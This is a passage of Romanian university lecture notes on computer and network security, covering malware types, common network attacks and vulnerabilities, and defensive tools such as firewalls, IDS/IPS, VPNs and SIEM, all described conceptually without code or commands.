securitatea sistemelor respective, după care încearcă să se răspândească mai departe. Factorul de
multiplicare al viermilor este exponenţial.
Viermii se pot răspândi prin fişiere partajate în reţea, prin programele de mesagerie sau prin
programe de partajare de fişiere. Din acest punct de vedere se poate face următoarea clasificare a
viermilor:
viermi de e-mail: se răspândesc prin fişierele infectate ataşate e-mail-urilor sau prin link-
urile către site-urile infectate;
viermi de mesagerie instantanee: se răspândesc prin intermediul aplicaţiilor de
mesagerie instantanee prin trimiterea de link-uri către site-urile infectate pentru toţi
utilizatorii de pe lista de contacte locale;
viermi de Internet: aceşti viermi scanează toate resursele de reţea disponibile utilizând
serviciile locale ale sistemului de operare şi caută calculatoarele vulnerabile din Internet
cu scopul de a se conecta la acestea şi a avea acces deplin la ele. O altă metodă este cea
de scanare a calculatoarelor vulnerabile din Internet ce nu au toate actualizările de
securitate făcute. Aceste actualizări pot fi trimise sub forma unor pachete de date ce
conţin viermele sau un utilitar ce va descărca şi instala viermele pe calculatorul
respectiv. De acolo viermele va căuta noi potenţiale gazde;
viermi de IRC1: canalele de chat sunt ţinta principală a viermilor de IRC. Sunt trimise
tuturor utilizatorilor unui anumit canal fişiere infectate sau link-uri către site-uri
infectate cu viermi;
viermi de fişiere partajate în reţea: se auto-copiază în directoarele partajate în reţea. sub
un nume inofensiv. Viermele va fi gata de transfer prin reţelele P2P şi apoi acţiunea de
infectare şi răspândire în reţea va continua.
1
IRC este un acronim pentru Internet Relay Chat (comunicare instantanee prin Internet), un serviciu de transmitere a
mesajelor în timp real (chat).
6
Viermii informatici aduc o serie întreagă de prejudicii calculatorului infectat, cum ar fi
distrugerea unor fişiere importante din sistemul de operare, deteriorarea funcţionării unor servicii
critice pentru sistem sau degradarea performanţelor sistemului. Alte acţiuni distructive ale viermilor
pot fi de creare a unor breşe în securitatea sistemelor informatice, de deschidere a unor porturi
pentru a permite ulterior accesul creatorilor lor la sistemul informatic infectat, de ştergere a
informaţiilor de pe hard disk sau chiar de lansare a unor atacuri de refuz al serviciilor – DoS.
Viermii pot fi programaţi să anunţe autorul acestora despre sistemele compromise pentru a le putea
accesa şi a efectua operaţii distructive.
Rabbit – este un vierme care încearcă să consume toate resursele de computer pe măsură ce
se repetă. Realizează atacuri la nivelele rețea și aplicație.
Bomba cu ceas este un virus sau un vierme (are proprietăți comune cu ambele categorii) care
se activează la un moment dat. De obicei, atacă la nivelul aplicație.
Bomba logică este un virus sau un vierme care se activează atunci când sunt îndeplinite
condițiile stabilite. De obicei, atacă la nivelul aplicație.
Un cal troian (trojan horse) este un vierme sau un virus care poate trimite informații înapoi
la inițiator sau poate fi utilizat de către inițiator sau atacator pentru a obține controlul asupra unui
sistem vizat. Mulți cai troieni s-au răspândit prin atașarea la un program util. De obicei, atacă la
nivelul aplicație.
7
chiar după ștergerea programelor gratuite care au instalat programul spion, acesta rămâne în
continuare activ.
În afară de tipurile de programe malware descrise mai sus este cazul de menționat încă două:
rootkit-ul și keylogger-ul.
Rootkit este un instrument utilizat de o terță parte pentru a menține controlul asupra
funcționării unui computer fără a fi detectat. De obicei se utilizează după ce a fost obținut controlul
asupra sistemului țintă.
Keylogger-ul realizează o acțiune de urmărire a tastelor apăsate de la tastatură sau mouse cu
scopul de monitorizare și înregistrare a semnalelor trimise, astfel încât persoana care utilizează
tastatura sau mouse-ul nu are cunoștință că acțiunile sale sunt supravegheate. Există numeroase
metode de tip keylogging: variază de la abordări hardware și software la analize acustice.
2
Ransomware este un software rău intenționat care, după ce se instalează pe dispozitivul victimei (calculator,
smartphone), criptează datele victimei ținându-le „ostatice” sau șantajează victima, pe care o amenință că îi va publica
datele dacă aceasta nu plătește o „răscumpărare” (în engleză ransom).
8
ale hackerilor, atacuri fizice, furtul de date sau echipamente, vandalism etc. În continuare urmează o
scurtă descriere ale acestor amenințări.
- Spoofing:
IP spoofing este o metodă de atac, dar poate fi folosită şi pentru a ascunde identitatea
atacatorului sau pentru a lansa atacuri. Prin acest atac, pachetele TCP/IP sunt
manipulate, falsificând adresa sursă. În acest mod atacatorul poate căpăta acces
atribuindu-şi o identitate (adresa de IP) care are autorizare să acceseze resursa atacată.
Datorită falsificării adresei sursă a pachetului IP, atacatorul nu poate stabili decât o
comunicaţie unidirecţională (presupunând că nu este prezent în reţeaua locală a maşinii
atacate). Acest lucru face protocolul TCP nesusceptibil pentru asemenea atacuri. Există
însă numeroase servicii UDP care pot fi exploatate cu acest tip de atac;
mascarada (masquerade) este un atac efectuat la nivelul rețea în care un atacator va
încerca să acceseze un computer, pretinzând că are o identitate de utilizator autorizat,
cum ar fi un administrator de rețea.
- Scanarea (scanning):
scanarea secvențială (sequential scanning) este încercarea de conectare la un sistem
prin încercarea succesivă a diferitelor combinații de parole și ID-uri de utilizator;
scanarea cu dicționar (dicționar scanning) este încercarea de conectare la un sistem prin
încercarea secvențială a parolelor de utilizator, care pot fi cuvinte din dicționar precum
cuvântul „parola”.
- Snooping sau Sniffing:
digital snoping – monitorizarea unei rețele private sau publice pentru parole sau date;
acesta este un atac la nivelul rețea;
shoulder snooping este un atac fizic în care cineva încearcă să urmărească parolele
tastate sau să vizualizeze informații la care nu ar trebui să le aibă acces pe monitorul
unui calculator.
- Scavenging:
dumpster diving este încercarea de a obține informații din coșul de gunoi în speranța că
va permite atacatorului să obțină acces sau informații privilegiate;
browsing – scanarea unor cantități mari de date neprotejate pentru a obține informații
pentru un acces mai mare; browsing-ul este, de obicei, automat și prezența unui
utilizator autorizat on-line la ore neobișnuite ar fi o indicație a acestui atac.
- Tunneling – este un atac care utilizează funcții de sistem de nivel inferior, cum ar fi un kernel al
sistemului de operare sau un driver de dispozitiv, pentru a trece de sistemul de securitate;
9
comportamentul ciudat al unui sistem, inclusiv defecțiuni ale dispozitivului sau o activitate
neobișnuită a hard disk-ului, poate indica acest tip de atac.
- Personificarea (personification) este un atac în care un adversar își asumă cu succes identitatea
uneia dintre părțile legitime într-un sistem sau într-un protocol de comunicații;
atacul de tip replay repetă o sesiune de autentificare pentru a păcăli un calculator în
acordarea accesului;
deturnarea sesiunii (session hijacking) - atacatorul monitorizează o sesiune între două
computere și injectează traficul făcându-l să pară că a venit de la unul dintre gazde;
legătura legală a calculatorului este abandonată, iar atacatorul continuă cu aceleași
privilegii pe care le avea și gazda legitimă; protecția constă în a folosi secvențe de
numere aleatorii, mai degrabă decât de cele previzibile, sau de a cripta datele folosite
pentru securizarea sesiunilor, deoarece atacatorul nu va putea să cripteze corect fără
cheia de criptare; fără cheia de criptare, comenzile decriptate venite de la atacator vor fi
doar „gunoi”;
personoficarea unui router și trimiterea informațiilor de rutare false pentru a perturba
rețeaua sau a obține informații;
otravirea DNS-ului (DNS cache poisoning) este o formă de hacking a rețelelor de
calculatoare în care datele numelui de domeniu stocate în memoria cache sunt
modificate de un atacator pentru a returna o adresă IP falsă, ceea ce face ca traficul să fie
direcționat spre computerul atacatorului (sau orice alt computer);
otrăvirea ARP-ului (ARP poisoning) este o tehnică prin care un atacator trimite mesaje
de tip ARP către o rețea locală; în general, scopul este de a asocia adresa MAC a
atacatorului cu adresa IP a altei gazde, cum ar fi gateway-ul implicit, cauzând trimiterea
spre atacator a traficului destinat acelei adrese IP.
- Refuzul accesului (denial of service, DoS ):
atacul SYN forțează computerul țintă, prin trimiterea unei succesiuni de solicitări SYN,
să aloce atât de multă memorie pentru conexiunile TCP, astfel încât să nu mai aibă
memorie pentru altceva;
ping of death (sau pingul morții, în traducere liberă) este un tip de atac asupra unui PC
care implică trimiterea unui ping malițios către un sistem; un ping are, de obicei,
mărimea de 64 octeți (sau 84 dacă se ia în considerare și header-ul IP), iar majoritatea
sistemelor nu pot interpreta un ping mai mare decât mărimea maximă a pachetelor IP,
care este de 65.535 octeți; primirea unui ping de mărimea asta poate duce la blocarea
sistemului;
10
atacul teardrop.c utilizează IP-ul pentru a crea probleme de reasamblare a pachetelor
astfel încât computerul țintă să se prăbușească; atacul folosește informația eronată a
antetului pachetului care indică fragmente de pachet suprapuse, astfel încât unele date
din unele pachete trebuie să suprascrie datele din alte pachete pentru a reasambla
pachetul; încercările de a reasambla aceste pachete cu date care se suprapun pot provoca
prăbușirea computerului dacă software-ul nu este pregătit să se ocupe de informațiile
eronate din antetul pachetului;
atacul Land.c trimite un pachet TCP SYN folosind adresa IP a țintei ca expeditor și
receptor cauzând prăbușirea unor sisteme;
atacul Smurf provoacă inundarea rețelelor cu trafic ICMP echo request (solicitare de
răspuns) difuzat pentru a provoca o congestie a rețelei; el trimite ping-ul ca un broadcast
cu o adresă de expeditor falsificată;
atacul Frackle inundează rețelele cu trafic echo request pentru a provoca o congestie a
rețelei;
atacul DDoS (DDoS attack) este un atac DoS distribuit în care traficul ce a inundat
victima provine din mai multe surse diferite; acest lucru face imposibilă stoparea
atacului pur și simplu prin blocarea unei singure surse;
flooding - trimiterea mai multor solicitări valide către un sistem țintă pentru a-l
supraîncărca.
- Atacurile hackerilor:
atacurile Directory Traversal încearcă să acceseze directoare care nu ar trebui să fie
accesate în încercarea de a rula un program pe un computer pe care utilizatorul nu ar
trebui să îl ruleze; de obicei, acest lucru se face pentru a rula fișierul cmd.exe pentru a
obține controlul unui server web sau al unui server de poștă electronică; acest atac
exploatează o lipsă de securitate, spre deosebire de exploatarea unei erori în cod;
atacurile Cross-site Scripting sunt atacuri de tip injecție prin care script-urile rău-
intenționate sunt injectate în codul sursă al unui site web “trusted”, care în mod obișnuit
nu prezintă niciun pericol din punctul de vedere al securității; slăbiciunile care
facilitează aceste atacuri sunt destul de răspândite și apar oriunde există o aplicație web
care utilizează date de intrare de la un utilizator pentru generarea datelor de ieșire fără ca
acele informații să fie verificate sau codate; de obicei, atacatorul poate obține informații
stocate în cookie-uri folosind acest atac;
atacul Man-In-The-Middle (MITM) constă în interpunerea pe traseu a atacatorului cu
plasarea logică de către acesta a propriului calculator într-un punct de intermediere între
alte două maşini; odată ajuns în această poziţie, atacatorul poate lansa o serie de atacuri
11
foarte periculoase, din cauza posibilităţii de interceptare a mesajelor transmise între
maşinile ţintă, astfel, un atacator are posibilitatea să citească şi să modifice mesajele
schimbate între doi corespondenţi fără ca cele două părţi să sesizeze faptul că metoda de
comunicare între ei a fost compromisă; atacul începe de obicei cu ascultarea canalului şi
se termină cu încercarea atacatorului de a înlocui mesajul interceptat, de a extrage
informaţii utile din el, de a redirecţiona mesajul la unele resurse externe; fie că subiectul
A planifică transmiterea spre subiectul B a unei informaţii oarecare; subiectul C posedă
cunoştinţe despre structura şi proprietăţile metodei de transmitere a datelor, precum şi a
însuşi faptului transmiterii acelei informaţii pe care intenţionează să o intercepteze;
pentru săvârşirea atacului C se „prezintă” lui A drept B, iar lui B drept A; subiectul A
consideră eronat că transmite informaţia lui B şi o trimite lui C, care la rândul său
efectuează unele operaţii cu ea (o copiază sau o modifică în scopuri personale) şi o
transmite lui B. Ultimul consideră că informaţia a fost primită direct de la A;
atacul cu forță brută (brute-force attack) sau o căutare exhaustivă de cheie sau parolă
reprezintă un atac criptanalitic, ce poate fi folosit teoretic pentru orice tip de date
codificate (cu excepția datelor criptate într-un mod teoretic sigur); un astfel de atac ar
putea fi folosit când nu se poate profita de alte vulnerabilități din sistemul de criptare
(dacă există vreuna) prin care sarcina să fie mai ușoară; această metodă constă în
verificarea sistematică a tuturor cheilor (parolelor) posibile, până când este găsită cea
corectă; în cel mai rău caz, această metodă presupune traversarea întregului spațiu de
căutare;
- Spamming sau spam este procesul de expediere a mesajelor electronice nesolicitate, care în cele
mai multe cazuri sunt mesaje comerciale (oferte, promoții, etc.) și intenția expeditorului este de
a beneficia de publicitate la costuri foarte mici; exista însă mesaje spam care pot aduce daune
serioase destinatarilor: virușii conținuți în mesajele electronice pot deteriora sistemul de calcul,
inclusiv calculatoarele din rețeaua locală, e-mail phishing-ul, mai exact mesajele care par
trimise de o organizație legitimă, cu scopul de a obține în mod fraudulos informații cu caracter
personal, cum ar fi parole sau detalii ale cardului de credit etc., oferirea de produse sau afaceri
fabuloase dar în realitate false, cu scopul a atrage în diverse capcane sau pentru a vizita anumite
site-uri, mesaje de amenințare, hărțuire, blocarea comunicării serverelor de e-mail etc.;
- Ingineria socială este o minciună de înaltă calitate pentru a obține informații utile de la cineva
sau pentru a obține acces neautorizat, bazându-se pe tehnici cum sunt:
folosirea telefonului pentru a obține informații, atacatorul pretinzând a fi cineva care de
fapt nu este.
12
obținerea accesului fizic pretinzând că este un membru al personalului sau o persoană de
serviciu;
phishing - trimiterea unui e-mail pretinzând a fi o bancă, o agenție sau un grup de
asistență, care instruiește o persoană să facă ceva cum ar fi deschiderea și rularea unui
fișier;
- Atacuri fizice sunt atacurile împotriva entităților fizice (clădiri, persoane, computere) pentru a
deteriora, a perturba, a modifica, a compromite o entitate fizică; atacul se face folosind un
proces fizic sau chimic (mișcarea fizică a persoanei sau a dronei, energia cinetică a glonțului,
explozia, incendiul, etc.) și este diferit de atacul logic în spațiul cibernetic;
- Furtul de date sau de echipament;
- Vandalismul.
13
O vulnerabilitate cu unul sau mai multe cazuri cunoscute de atacuri funcționale și complet
implementate este clasificată ca o vulnerabilitate exploatabilă - o vulnerabilitate pentru care există
un exploit3.
Fereastra de vulnerabilitate este perioada de timp de la momentul în care breșa de securitate
a fost creată sau manifestată în software-ul implementat, până la momentul în care accesul a fost
eliminat, o soluție de securitate a fost disponibilă/instalată sau atacatorul a fost dezactivat.
Problema de securitate (defect de securitate) este un concept mai restrâns: există
vulnerabilități care nu sunt legate de software: vulnerabilitățile hardware, site-ul, personalul sunt
exemple de vulnerabilități care nu sunt erori de securitate software.
Vulnerabilitățile pot fi prezente oriunde în sistemele informatice: de la parole și erori de
configurare la breșele în politicile de securitate și factorul uman. Mai jos este dată o clasificare în
acest sens a surselor de vulnerabilități.
Parole:
o parole slabe sau necompletate;
o partajarea parolelor;
o scrierea parolelor sau stocarea lor fără precauție;
o pierderea parolei.
Erori umane:
o Trap Door - dezvoltatorii de sisteme își scriu uneori „uși secrete” (back door) pentru
accesul la aplicațiile lor pe care le pot uita uneori deschise;
o eroare de utilizator - ștergerea sau modificarea accidentală a programelor sau datelor;
o erori de configurare în sisteme, echipamente, antimalware, firewall, browser,
protocoale, permisiuni nesigure pentru conturi etc.;
o neutilizarea protocoalelor de criptare sau utilizarea unora slabe la transmiterea de
date confidențiale sau sensibile;
o comiterea erorilor la introducerea sau modificarea datelor, ștergerea accidentală a
datelor;
o utilizarea software-ului neautorizat sau nesigur (peer to peer, IM, screensavere, etc);
o aruncarea, depozitarea necorespunzătoare sau folosirea mediilor de stocare sau a
computerelor portabile cu informații sensibile;
o permiterea serviciilor care nu sunt necesare să ruleze pe un sistem informatic;
o încredere excesiva în toate domeniile;
3
Exploit (din verbul „to exploit”, în sensul de a folosi ceva în avantaj propriu) este o secvență de cod, o succesiune de
date sau un set de comenzi, ce profită de o defecțiune sau de o vulnerabilitate în scopul de a determina un
comportament nedorit sau neprevazut al software-ului, hardware-ului de pe un calculator sau de pe alt dispozitiv
electronic (de obicei computerizat). Acest comportament include în mod uzual obținerea controlului asupra sistemului
de calcul sau permiterea escaladării de privilegii sau refuzului de servicii.
14
o acțiuni inadecvate la logarea, monitorizarea sau detectarea amenințărilor la adresa
serverului sau a rețelei;
o datele de account ale foștilor angajați care au rămas active;
o acordare nepotrivită de privilegii;
o permiterea de directory traversal în sisteme, astfel încât un atacator să poată accesa
directoare care nu ar trebui să fie accesate;
o stocarea de informații sensibile în jurnale, cum ar fi parolele.
Vulnerabilități software:
o buffer overflow – supraincarcarea memoriei cu date;
o vulnerabilitate la injectarea SQL, email, etc.;
o instabilitatea la mal-formed input;
o vulnerabilitate la Cross site scripting;
o vulnerabilitate la formatul string-ului;
o pierdere de memorie (memory leak);
o lipsa verificării autenticității cauzată de vulnerabilitatea atacului spoofing;
o generarea unor numere de sesiune insuficient de aleatorii care să împiedice
hijacking-ul;
o integer overflow;
o criptarea slabă la stocarea sau transmiterea datelor sensibile.
Vulnerabilități de autentificare:
o mecanisme de autentificare slabe sau nefuncționale;
o criptarea slabă la autentificare.
Vulnerabilități fizice:
o lăsarea în stare descuiată a birourilor, dulapurilor și a spațiilor de lucru, care ar trebui
să fie protejate;
o lipsa protecției cu parolă calculatorului;
Politici:
o lipsa politicilor și procedurilor de securitate;
o aprobarea politicilor și procedurilor de securitate superficiale.
15
Pentru a putea înlătura vulnerabilitățile, ele trebuie la timp identificate. Pentru a facilita acest
lucru au fost create diverse instrumente, numite scanere de vulnerabilități, care pot oferi o bună
imagine de ansamblu a vulnerabilităților posibile care există în sistem.
Scanerele de vulnerabilități sunt aplicații hardware sau software care servesc pentru
diagnosticarea și monitorizarea calculatoarelor, rețelelor, aplicațiilor și sistemelor în scopul
detectării eventualelor probleme în sistemul de securitate, precum și pentru evaluarea și eliminarea
vulnerabilităților.
Scanerele de vulnerabilități permit realizarea testării diverselor aplicații din sistem pentru a
găsi eventualele „găuri” care pot fi exploatate de către intruși. Instrumentele de nivel inferior, cum
ar fi scanerul de porturi, pot fi, de asemenea, folosite pentru a identifica și analiza posibilele
aplicații și protocoale care rulează în sistem.
Pentru asigurarea securității și integrității sistemului este necesar ca acesta să fie în
permanență monitorizat, instalate actualizări, utilizate instrumente care ajută la contracararea
posibilelor atacuri. În toate sistemele de operare cele mai utilizate au fost găsite vulnerabilități,
inclusiv Microsoft Windows, Mac OS, diverse opțiuni pentru UNIX (inclusiv GNU/Linux) și
OpenVMS. Întrucât permanent apar noi vulnerabilități, singura modalitate de a reduce
probabilitatea de utilizare a acestora împotriva sistemului este vigilență constantă și utilizarea
versiunii actualizate ale software-ului.
Oricât de eficiente ar fi instrumentele care ne ajută în lupta cu vulnerabilitățile, ele nu pot
înlocui implicarea umană în evaluarea lor. Pentru a asigura o activitate continua și eficientă în
companie, este nevoie de o evaluare corectă a sistemelor IT, în doua cuvinte: de un audit IT.
Auditul de securitate IT este o soluție din ce în ce mai importanta pentru companiile și organizațiile
zilelor noastre. Auditul de securitate IT are ca scop determinarea tuturor vulnerabilităților
sistemului informatic. Rezultatul acestei acțiuni este evaluarea obiectivă a necesitaților sistemului
informatic al companiei precum și sugerarea unei soluții viabile pentru eliminarea vulnerabilităților
sale.
16
17
TEMA 11: SECURITATEA REȚELELOR DE CALCULATOARE
Obiectivele temei:
Introducere în securitatea rețelelor.
Identificarea metodelor de atac asupra rețelelor de calculatoare.
Analiza unor instrumente de protecție în rețea:
Cuvinte-cheie:
atacuri active, sisteme de prevenire a
atacuri pasive, scurgerilor/pierderilor de
sisteme de detectare și date,
prevenire a intruziunilor, rețele virtuale private,
software-ul antivirus firewall,
(anti-malware), analiza comportamentală.
O mare parte dintre diversele tipuri de atacuri asupra securității informației analizate mai sus
sunt aplicate și în rețelele de calculatoare. Chiar dacă există tehnici de prevenire a amenințărilor la
adresa securității rețelei, ele nu pot garanta securitatea completă a acesteia.
1
Uzabilitatea unei rețele sau a unui sistem reprezintă eficiența și ușurința folosirii lui spre satisfacția utilizatorilor.
Software antivirus și antimalware. Cele mai bune programe antimalware nu numai că
scanează traficul la intrare, ci și continuă să urmărească în continuare fișierele pentru a găsi
anomalii, a elimina programele malware și a fixa pagubele produse.
Protecția aplicațiilor software. Orice aplicație software utilizată pentru facilitarea unei
afaceri trebuie să fie protejată, indiferent dacă este achiziționată sau este proiectată și realizată de
propriul personal IT. Din păcate, orice aplicație poate conține găuri sau vulnerabilități pe care
atacatorii le pot folosi pentru a se infiltra în rețea. Securitatea aplicațiilor include hardware-ul,
software-ul și procesele utilizate pentru astuparea acestor găuri.
Analiza comportamentală. Pentru a detecta comportamentul anormal al rețelei, trebuie să fie
cunoscut comportamentul ei normal. Instrumentele de analiză comportamentală discern automat
activitățile care se abat de la normă, iar cu ajutorul acestor instrumente, identificând factorii care
prezintă o problemă potențială de compromitere a rețelei, personalul responsabil de securitate poate
remedia operativ amenințările.
Prevenirea pierderilor de date (DLP - data loss prevention). Întreprinderile și organizațiile
trebuie să se asigure că personalul lor nu trimite informații sensibile în afara rețelei. Tehnologiile de
prevenire a pierderilor de date, pot împiedica oamenii să încarce, să transmită sau chiar să imprime
într-un mod nesigur informații critice.
Protecția e-mailului. Gateway-urile serviciilor de e-mail reprezintă vectorul de amenințare
numărul unu pentru încălcarea securității rețelei. Atacatorii folosesc informații personale și tehnici
de inginerie socială pentru a construi campanii sofisticate de phishing pentru a înșela destinatarii și
a le trimite pe site-urile care oferă malware. O aplicație de securitate a e-mailurilor blochează
atacurile la intrare și controlează mesajele la ieșire pentru a preveni pierderea datelor sensibile.
Firewall-urile reprezintă o barieră între rețeaua internă de încredere a întreprinderii și
rețelele externe nesigure, cum ar fi Internetul, folosind un set de reguli definite pentru a permite sau
bloca traficul. Un paravan de protecție poate fi hardware, software sau ambele. La ziua de azi exisă
dispozitive de gestionare unificată a amenințărilor (unified threat management - UTM) și firewall-
uri de generație nouă focusate pe amenințări.
Sisteme de prevenire a intruziunilor. Un sistem de prevenire a intruziunilor (IPS) scanează
traficul de rețea pentru a bloca în mod activ atacurile. Dispozitivele IPS de generație nouă fac acest
lucru corelând cantități uriașe de informații despre amenințări la nivel mondial, nu numai pentru a
bloca activitatea rău intenționată, ci și pentru a urmări progresul fișierelor suspecte și a malware-
ului în întreaga rețea în scopul prevenirii răspândirii focarelor și a reinfectării.
Securitatea dispozitivelor mobile. Procentul de utilizare a aplicațiilor corporative pe
dispozitive mobile personale crește în mod constant, iar infractorii cibernetici vizează tot mai mult
dispozitivele și aplicațiile mobile. Acest fapt implică necesitatea atât a controlului dispozitivelor
care pot accesa rețeaua companiei, cât și configurarea conexiunilor pentru a menține traficul în
rețeaua privată.
Segmentarea rețelei presupune organizarea echipamentelor și aplicațiilor astfel încât să
cunoaștem care echipament accesează care aplicație și să restricționăm accesul fiecărui echipament
strict la alte echipamente sau aplicații de care este nevoie în activitatea curentă. Astfel apare
posibilitatea de a atribui drepturi de acces bazate pe rol, locație și multe altele, astfel încât dreptul
de acces să fie acordat persoanelor potrivite, iar dispozitivele suspecte sunt oprite și remediate.
Managementul securității informației și a evenimentelor de securitate (Security information
and event management - SIEM). Produsele SIEM colectează informațiile pe care personalul de
securitate trebuie să le identifice și să răspundă la amenințări. Aceste produse vin în diverse forme,
inclusiv dispozitive fizice și virtuale2 sau server software.
VPN. O rețea virtuală privată criptează conexiunea de la un endpoint spre o rețea, conexiune
realizată de obicei prin Internet. În mod obișnuit, VPN cu acces la distanță utilizează IPsec sau
Secure Sockets Layer pentru a autentifica comunicarea dintre dispozitiv și rețea.
Securitatea web. O soluție de securitate web va controla utilizarea web a personalului, va
bloca amenințările bazate pe web și va refuza accesul la site-urile Web rău intenționate. Acesta va
proteja gateway-ul web pe site sau în cloud. „Securitatea Web” se referă, de asemenea, la pașii
făcuți pentru protejarea propriului site web.
Securitate wireless. Rețelele wireless nu sunt la fel de sigure ca cele cu fir. Fără măsuri
stricte de securitate, instalarea unei rețele locale wireless poate fi la fel ca instalarea porturilor
Ethernet peste tot, chiar și în parcare. Pentru a împiedica utilizarea unui exploit, este nevoie de
produse special concepute pentru protecția rețelelor fără fir.
Toate aceste instrumente și măsuri de protecție a rețelei întreprinderii trebuiesc specificate în
politicile respective de securitate: cele de guvernare, cele tehnice, precum și în documentația și
specificațiile particulare ale acestor politici.
2
Un dispozitiv virtual este un simulator de dispozitiv hardware.
chiar dacă conținutul acestora este neinteligibil. Atacurile pasive au următoarele caracteristici
comune:
nu cauzează pagube (nu se șterg sau se modifică date);
încalcă regulile de confidențialitate;
obiectivul este de a „asculta” datele schimbate prin rețea;
nu afectează traficul rețelei;
facilitează observarea modificările din rețea (echipamente nou introduse, schimbarea
configurărilor) și furtul de informații.
Aceste atacuri pot fi realizate printr-o varietate de metode, cum ar fi supravegherea
legăturilor telefonice sau radio, exploatarea radiaţiilor electromagnetice emise, rutarea datelor prin
noduri adiționale mai puțin protejate. Pentru contracararea acestor atacuri se dezvoltă sisteme de
prevenţie şi detecţie a intruşilor în reţea, fie ca soluţii software, fie cu echipamente dedicate (de
exemplu, prin măsurători de câmp radiat pentru stabilirea ariei de acoperire a unei reţele wireless).
Din punct de vedere al acestor atacuri, reţelele optice sunt cel mai bine protejate, fiind
practic imposibilă interceptarea traficului fără a se sesiza prezenţa intrusului. Riscurile cele mai
mari de atac pasiv, de intercepţie a informaţiilor din reţea (date propriu-zise sau de identificare) apar
în reţelele wireless. Reţelele cablate, cu cabluri cu conductoare metalice, sunt vulnerabile la atacuri
pasive în nodurile de comunicaţie de tip hub sau switch. Atacurile pasive nedetectate care au ca
finalitate preluarea cheilor de criptare reprezintă un risc major pentru reţea, întrucât prin
necunoașterea cheilor compromise se creează breşe în sistemul de securizare a informaţiilor prin
criptarea traficului.
Exemple de atacuri pasive sunt ascultarea (eavesdropping), când atacatorul interceptează
traficul din rețea dintre un calculator și un punct de acces, interceptarea pachetelor (packet
sniffing), când intrusul este conectat la rețea și poate prelua informații din pachetele transmise ș.a.
Atacuri active sunt acele atacuri în care intrusul se angajează fie în furtul mesajelor, fie în
modificarea, reluarea mesajelor sau inserarea de mesaje false. Aceasta înseamnă că el poate șterge,
întârzia sau modifica mesaje, poate să facă inserarea unor mesaje false sau vechi, poate schimba
ordinea mesajelor, fie pe o anumită direcție, fie pe ambele direcții ale unui canal logic. Aceste
atacuri sunt serioase, deoarece modifică starea sistemelor de calcul, a datelor sau a sistemelor de
comunicații. Printre amenințările active se numără mascarada, reluarea3, modificarea mesajelor,
man-in-the-middle, refuzul serviciului, repudierea serviciului.
În cadrul atacurilor active se înscriu și unele programe create cu scop distructiv și care
afectează, uneori esențial, securitatea calculatoarelor prin citirea informațiilor neautorizate,
3
Reluarea (replay attack) este o formă de atac de rețea în care o transmisie validă de date este repetată sau amânată în
mod malițios sau în mod fraudulos. Inițiatorul atacului interceptează datele și le transmite, eventual ca parte a unui atac
prin mascaradă, prin înlocuirea pachetelor IP. Reluarea poate fi definită și ca un atac asupra unui protocol de securitate
folosind reluarea mesajelor dintr-un context diferit în contextul urmărit (sau original și așteptat), făcând astfel
participanții onești să creadă că au finalizat cu succes acest protocol.
distrugerea parțiala sau totală a datelor sau chiar a calculatoarelor. Printre aceste programe se
numără: virușii, viermii, calul troian, rețelele botnet, etc.
În conformitate cu rezultatele raportului McAfee Labs Threats Report pentru anii 2015,
2016 și 2017, cele mai des atacuri asupra securității rețelelor în această perioadă au fost: refuzul
accesului (DoS), forța brută, atacuri la browser, atacuri SSL, backdoors, DNS, scanning, botnet,
viermi, etc.
4
Atacurile POODLE au exploatat vulnerabilitatea SSL 3.0 cu cipuri bazate pe cifrarea bloc cu înlănțuire (CBC),
permițând atacatorilor să acceseze parole, cookie-uri și alte tokene de autentificare. Vulnerabilitatea POODLE a fost
eliminată în 2014, iar SSL 3.0 este considerat un protocol învechit.
Protecția de aceste atacuri constă în a lăsa activ doar traficul de care este nevoie pentru a
accesa host-urile interne (de preferință, pe cât posibil, traficul de la gazdele pe care încercăm să le
protejăm) și a refuza orice altceva. Acest lucru este valabil pentru porturile standard, cum ar fi TCP
80 pentru HTTP și ICMP pentru cererile de ping. De asemenea trebuie de configurat firewall-urile
să caute comportamente potențial dăunătoare în timp precum și de avut reguli în vigoare pentru a
întrerupe atacurile în cazul în care se atinge un anumit prag, cum ar fi 10 scanări la un port într-un
minut sau 100 de solicitări ping (ICMP) consecutive. Cele mai multe firewall-uri și IPS-uri pot
detecta o astfel de scanare și o pot deconecta în timp real.
5
Frauda de click are loc atunci când un utilizator sau bot, dă click în mod intenționat pe un link, cu intenția de a taxa pe
cineva pentru acel click. De multe ori, nu există un interes în ceea ce privește rezultatul final, ci se creează un impact
catastrofic asupra agenției, dar și a bugetului clienților, în final, sesizându-se un rezultat total negativ.
vizitatorii de telefonie mobilă se conectează în interiorul gateway-ului. Controlul adecvat al
accesului și autentificarea puternică (sau cel puțin cu două factori) vor contribui la consolidarea
apărării în acest caz.
În tabelul 11.1 sunt prezentate câteva tipuri de atac în rețea, eventualele consecințe, și unele
tehnici defensive utilizate pentru aceste atacuri.
Tabelul 11.1. Atacului de rețea, consecințe și măsuri de contracarare
Tipul
Consecințe eventuale Contramăsuri
atacului
Aflarea informațiilor importante sau a
Analiza
fișierelor de date prin monitorizarea Criptarea
traficului
caracteristicilor traficului
Performanța slabă a rețelei, terminarea Firewall-uri externe împreună
DoS necorespunzătoare a serviciilor prin trimiterea cu filtre, sisteme de detectare a
de date nevalide, blocarea traficului intruziunilor
Performanța slabă a rețelei, indisponibilitatea
DDoS Firewall-uri, IDS, IPS
serviciilor, rețelei, paginilor web
ICMP Întreruperea conexiunii în rețea, prăbușirea Inspecția și filtrarea pachetelor
flood sistemului TCP, ICMP, firewall-uri, IDS
Prăbușirea sistemului de operare,
SYN flood Filtrare, firewall, proxy
indisponibilitatea serverului
Modificarea, ștergerea și redirecționarea Ingress filtering, use
Spoofing
informației strong authentication
Citirea, modificarea, ștergerea datelor, Criptografia, autentificarea
Man-in-
terminarea necorespunzătoare a aplicațiilor, puternică, utilizarea funcțiilor
middle
prăbușirea sistemului hash
Aplicarea validării la intrare,
Buffer Prăbușirea sistemului și SO, ocolirea utilizarea de biblioteci sigure,
overflow serviciilor de securitate cunoașterea limbajelor de
programare
Divulgarea numelor de utilizator, a parolei, a Firewall-uri, filtre spam,
Phishing
informației confidențiale antivirus, antispyware
Citirea, modificare și ștergerea cu ușurință a
Criptarea end-to-end,
Sniffing datelor, modificarea informației de
segmentarea corectă a rețeli
configurare
Principalele IDS-uri comerciale sunt cele de rețea. Aceste sisteme IDS detectează atacurile
prin captarea și analiza pachetelor de rețea. Ascultând un segment de rețea, NIDS poate cerceta
traficul de rețea de la mai multe stații care sunt atașate la segmentul de rețea, realizând astfel
protecția acestor stații.
6
